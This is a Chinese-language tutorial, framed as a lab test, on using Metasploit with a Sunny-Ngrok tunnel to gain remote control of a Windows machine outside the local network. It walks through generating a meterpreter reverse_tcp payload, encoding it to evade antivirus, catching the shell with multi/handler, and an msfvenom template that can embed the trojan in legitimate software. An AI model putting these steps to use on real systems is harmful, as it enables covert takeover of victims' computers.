网上大多数metasploit教程均在内网环境下完成,而内网IP和公网IP完全不一样,公网IP由网络提供商为我们动态分配,也就意味着目标离开了局域网,我们就无法查找渗透目标。本次测试使用了Sunny-Ngrok内网穿透工具,这就使得目标主机上的反射型木马能够通过隧道连接到我们的主机,来达到稳定控制的效果。
本次测试使用的靶机为Windows机器,攻击主机为kali Linux机器。
一、内网穿透
内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决,这里不多做介绍,有需要的自行查找资料。(https://baike.baidu.com/item/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/8597835?fr=aladdin)。
1、首先我们查看kali的IP配置,使用ifconfig命令可以看到eth0网卡的ip地址是10.0.2.15.
2、我们选择Sunny-Ngrok内网穿透工具,并开通隧道;记住这里的隧道id、隧道端口、和服务器地址,我们在生成payload的时候会使用到。
3、接下来启动隧道,按照Sunny-Ngrok网站的指示,我们使用命令./sunny clientid <隧道id>启动隧道,这里的隧道id即为图二中的隧道id:
二、payload生成
1、我们首先查找合适的payload。如何选择payload呢?首先得确定我们的攻击目标也就是靶机的信息,在这里我们使用的是Windows虚拟机,目标已经很明确了;我们使用search命令筛选出含有Windows/x64的payload,也就是适合64位Windows的payload。由于我们开通的隧道为TCP连接,所以最终我们选择payload/windows/x64/meterpreter/reverse_tcp这个攻击载荷,意思是适用于64位Windows系统的反射型木马,采用TCP连接,关于meterpreter大家可以自行了解。
2、设置payload部分,先用use命令进入到这个payload模块中,使用show options命令查看需要设置的参数有哪些,在这里我们可以看到需要设置的有两项即主机的地址和端口,由于我们使用了隧道来进行连接,所以地址这里我们设置为隧道的服务器地址,端口设置为隧道的端口,再使用generate命令查看该payload的shellcode。当然,直接生成的shellcode基本都是不可用的,这里需要根据payload选择合适的encoder来进行编码。
3、使用encoder编码器实现免杀,使用show encoders命令,metasploit会自动列出适合当前payload的encoder,我们可以在看到Rank列有多个级别,我们选择较好的excellent级别的x86/shikata_ga_nai编码器来进行编码实现免杀,同时编码器也可以剔除坏字符如'\x00'之类的,这里不过多讲述。
4、生成payload,同样使用命令generate -e <encoder> -i <编码次数> -f <生成文件>
三、连接
使用use命令进入到multi/handler模块下,设置payload为刚刚选择的windows/x64/meterpreter/reverse_tcp,设置主机地址为本机地址,主机端口为本机使用的端口,最后输入exploit命令进行探测等待连接,若目标机器执行我们的payload,我们的metasploit则会立刻获取目标靶机的shell,即获得靶机的控制权。
四、总结
在本次测试中,生成的payload是做过免杀处理的,然而用viruscan检测时仍有杀软引擎能够检测出危险,证明该木马仍有被识破的风险。
在生成payload时切记要使用合适的encoder进行编码以达到免杀的目的,同时切记要进行坏字符的剔除。还要切记指定生成文件格式为exe,当然亦可以指定其他的生成格式如dll,elf等,根据自己选择的payload设置。
生成payload的另一种方式:在terminal中直接输入:
msfvenom -p <payload> LHOST=<ip> LPORT=<端口> -e <encoder> -i <编码次数> -x <软件模板(可根据该模板生成有同样功能的木马,为可选项)> -f <生成文件的格式> -o <生成文件名(可包含路径)>